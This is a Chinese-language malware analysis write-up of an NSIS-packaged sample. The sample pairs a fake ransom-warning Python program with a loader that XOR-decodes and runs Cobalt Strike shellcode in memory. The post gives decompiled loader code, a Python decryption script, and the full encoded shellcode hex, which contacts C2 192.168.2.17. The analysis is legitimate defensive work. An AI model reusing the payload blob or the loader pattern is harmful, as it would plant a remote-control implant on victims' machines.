本文分析了一个基于 NSIS 安装包封装的恶意样本。样本运行后会释放 hack.exe 和 payload.exe 两个核心文件:其中 hack.exe 由 Python 编写并打包成 EXE,主要伪装成系统补丁安装程序,向用户展示虚假的勒索与感染提示信息,但本身并不执行真实的文件加密;payload.exe 则承担真正的恶意逻辑,其内部实现了一个自循环命名管道 IPC 框架,将内嵌数据读取、解码、修补内存权限后通过新线程执行。进一步分析发现,该程序使用 4 字节循环 XOR 还原出一段 ShellCode,最终加载并执行的是 Cobalt Strike 载荷,并与 192.168.2.17 建立通信。
程序母体是一个 Nullsoft Scriptable Install System(3.11) 的安装程序。

解压后内容如下:

程序运行结果:

释放文件主要分为两部分 hack.exe 和 payload.exe,下面分别进行分析。
1、hack.exe 部分
hack.exe 采用 Python 编写并打包成 exe,如下所示。

使用 pyinstxtractor 解析该 exe。

这里直接使用 pycdc 提取脚本会出现不全的情况。
需要手动使用 pycdas 先还原 pyc 为 asm 文件,再根据 asm 文件尝试手动(或借助AI)还原 py 脚本。
或者推荐直接在线还原(https://pychaos.io/)。

伪装成虚假的系统补丁安装程序。

弹出勒索恐吓信息。


该勒索病毒并没有加密文件,只是虚假恐吓,提示局域网文件被感染。

2、payload.exe 部分
payload.exe 主体代码如下:

这段代码的核心是一个并发的 IPC 框架初始化函数。一个线程负责“发”、一个线程负责“等/收/处理”。
跟进 sub_4016E6,第一个线程(发送线程)是创建命名管道(\\\\.\\pipe\\MSSE-%d-server),等待客户端连接,客户端连上后,把 lpBuffer 指向的数据全部写出去,写完关闭句柄。
sub_4016E6 很短,本质是一个线程入口包装器,跟进 sub_401630。

dwOpenMode = 2,即 PIPE_ACCESS_OUTBOUND,说明该管道这一侧是只写的服务端。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int __fastcall sub_401630(char *lpBuffer, signed int nNumberOfBytesToWrite)
{
HANDLE hPipe;
DWORD NumberOfBytesWritten = 0;
hPipe = CreateNamedPipeA(
Buffer, // "\\\\.\\pipe\\MSSE-%d-server"
2, // dwOpenMode
// 2,表示这个进程是 pipe server,且只负责向客户端写数据。
0, // dwPipeMode
// 0,表示默认字节流模式/阻塞模式。
1, // nMaxInstances
// 1,一次只允许一个实例。
0, // nOutBufferSize
0, // nInBufferSize
0, // nDefaultTimeOut
NULL // lpSecurityAttributes
);
if (hPipe is valid) {
if (ConnectNamedPipe(hPipe, NULL)) {
while (nNumberOfBytesToWrite > 0 &&
WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, NULL)) {
lpBuffer += NumberOfBytesWritten;
nNumberOfBytesToWrite -= NumberOfBytesWritten;
}
CloseHandle(hPipe);
}
}
return ...;
}
|
跟进 sub_4017F8 中的 结尾的 return sub_4017A6,第二个线程(接收+解码+执行线程)会分配接收缓冲区、每 1024ms 尝试一次读取同名 pipe 以确定某个数据源准备好、收到数据后调用处理函数 sub_401595。

跟进 sub_401704,主要功能为作为客户端打开同一 pipe 并读入。当前进程自己连接自己刚建的 pipe,把那段数据完整读回到堆缓冲区。所以这里是 self-pipe/loopback IPC,不是对外通信主用途。

跟进 sub_401595,解码、补丁、改权限、起线程执行。

修正一下 sub_401595。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
HANDLE __fastcall sub_401595(uint8_t *encoded_buf, int payload_size, uint8_t *xor_key)
{
int i;
uint8_t *exec_buf;
DWORD old_protect;
exec_buf = VirtualAlloc(NULL, (SIZE_T)payload_size, 0x3000, 0x04);
for (i = 0; i < payload_size; ++i)
exec_buf[i] = encoded_buf[i] ^ xor_key[i & 3];
sub_401563((__int64)exec_buf);
VirtualProtect(exec_buf, (SIZE_T)payload_size, 0x20, &old_protect);
return CreateThread(NULL, 0, StartAddress, exec_buf, 0, NULL);
}
|
需要注意的是这里的 key 不是一个字节。跟进传入的 payload_size 与 xor_key。


nNumberOfBytesToWrite dd 37Bh, 84786BC0h含义是两个连续的 DWORD。
1
2
|
DWORD field_4 = 0x0000037B;
DWORD field_8 = 0x84786BC0;
|
那么 payload_size 就是 0x37B。0x84786BC0 = xor_key 所在的 4 字节内容,不过要注意的是内存里按小端存放,那么 0x84786BC0 在内存中的 4 个字节就是 C0 6B 78 84。
xor_key[i & 3] 说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
xor_key[i & 3] 等价于 xor_key[i % 4]。
3 的二进制是 0b11。
i & 3,就是只取 i 的最低 2 位。
那么,结果只可能是:0, 1, 2, 3
举例,如果 i 从 0 开始递增:
i i & 3
0 -> 0
1 -> 1
2 -> 2
3 -> 3
4 -> 0
5 -> 1
6 -> 2
7 -> 3
8 -> 0
所以,xor_key[i & 3] 就等价于:
xor_key[0], xor_key[1], xor_key[2], xor_key[3],
xor_key[0], xor_key[1], xor_key[2], xor_key[3], ...
也就是4 字节循环反复使用。
也就是:
xor_key[0] = 0xC0
xor_key[1] = 0x6B
xor_key[2] = 0x78
xor_key[3] = 0x84
那么循环就是:
encoded_buf[0] ^ 0xC0
encoded_buf[1] ^ 0x6B
encoded_buf[2] ^ 0x78
encoded_buf[3] ^ 0x84
encoded_buf[4] ^ 0xC0
encoded_buf[5] ^ 0x6B
...
|
可以写个简单的解密脚本。
1
2
3
4
5
6
7
8
9
10
11
|
def xor_decrypt_hex(encoded_hex: str, key_dword: int = 0x84786BC0) -> bytes:
data = bytes.fromhex(encoded_hex.replace(" ", "").replace("\n", ""))
key = key_dword.to_bytes(4, "little") # C0 6B 78 84
return bytes(b ^ key[i & 3] for i, b in enumerate(data))
encoded_buf = "3C23FB603083B084C06B39D5813B2AD596234956A523F3D6A023F3D6D823F3D6E023F3F6902377338A2135B5092349446C5719F8C24758C501A275C5C1AA9A69922A29CC4B39580F82573085100DF9FCD8607AF1B2E0F80CC06B78CC45AB0CE3886AA8D44B2360C04B2B58CDC1BB9BD28894B1C54B5FF0CCC1BD35B5092349446C2AB94DCD2A7945F88B0D758C6834A0C82E4155B5B320C04B2B5CCDC1BB1EC54B6730C04B2B64CDC1BB390FC4E33085102A20C5983521DE813339DD813130072C4B39D63F8B20C59931300FD282377B3F9425EEC022C6F3A90511EAA51F78C59622F1628CE289C57A270FA2C794ADCCF1A230B5122649448D5AB1C5902A28C57A512EFD6794AD6FB331300D012AC0D4C06B78C9F1A239D5813A1287813A393E97E2E7423FBE93DD9B23F145885AAACD49B335B509391084C22BFCD6922AC26F9545437B1523F14288E8BBD4AA6127CC499A300D1A22BF443F94877B8D5AB1D6922AC2A9C673037B15EEB88B45F67984C023874BCFEFF485C06B9357298F7984C083DA7B3F9457CB95230984381AFBA663A35A796E3EF1F9A647D03532AD4FB125D8738BB51EEDE6BB2A7675C8C260400D690CAE1AA40D4073A5B10539E9F7AD9DC7B242BB331AF6F7D941BDD782AA604BF672429C6B2DF7A51955C5A70E16F0FA4B35EBBA0214E8A1444DAAF04B50E7AF0608E5B4021AE8A55058C993223DA4F94548BFE03C11EAA4040FF7E0252CA4F64549BFE03C11EAF65F43A4B85D4CBFE03F0AEDA40E16F0EF5E56B4FB4B35C5813E43A48E3B48BCE9667284AB0483639D42DBFE46482113F61FA83A5C81CCAA9E8CFFB97CE45936F647B1731357279B32063F8FB33FBF62030F4A583CF92CC664046ECA10081F4834B35C138705FF6C06119C9798ACD428263FB40AED25FFF3972F83A5069800958CD020BFD4B2BBE30398CD95A74985B093621C0C0FF829E8EA590120742FF404DFA0CFEC9DE0BBD6EE1FC45BFCF2BC14BB6D82DDAEA6E0B7077E98FB10C15A98F3437AD69BD371619D038F708F1611FFC1BDEC0D023E828A9342F246F6E9D905F6927A49FF6B48CE60C8DEC7DA6B393A30DEDAD23FBE30B509D17884806B393CC07B788481D23884C06B393E98CF2B613FBE30179338300D2723F17588E2A2C5786B5884C022F17D81D16A124989875188E8BCA445AB0C32A6E07FCCC1A8FD44B5BC20DC98237D84C06B78D40383E7793F9449BDF24549B2F8454AAAF15C78BE1E03C941414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141410000"
decoded = xor_decrypt_hex(encoded_buf)
with open("restore_shellcode.bin", "wb") as f:
f.write(decoded)
|
解密完成后,是一段 CS 的 Shellcode。

当然也可以动态调试到要运行解密 Shellcode 的位置。

如果要跟进分析新线程创建启动的这段 Shellcode 的话,建议直接在 Shellcode 地址处下硬件断点。然后 F9 执行起来,就跳转到 Shellcode 执行部分了,以免 F8 跟进时跟丢。

匹配到的 C2 地址为 192.168.2.17。

该样本应该是一个测试样本,勒索并没有加密文件,只是单纯的恐吓,实际上是利用 CS 远控受害者。
IOC:

如有侵权请及时联系,本文会添加文章访问密码,不再直接公开。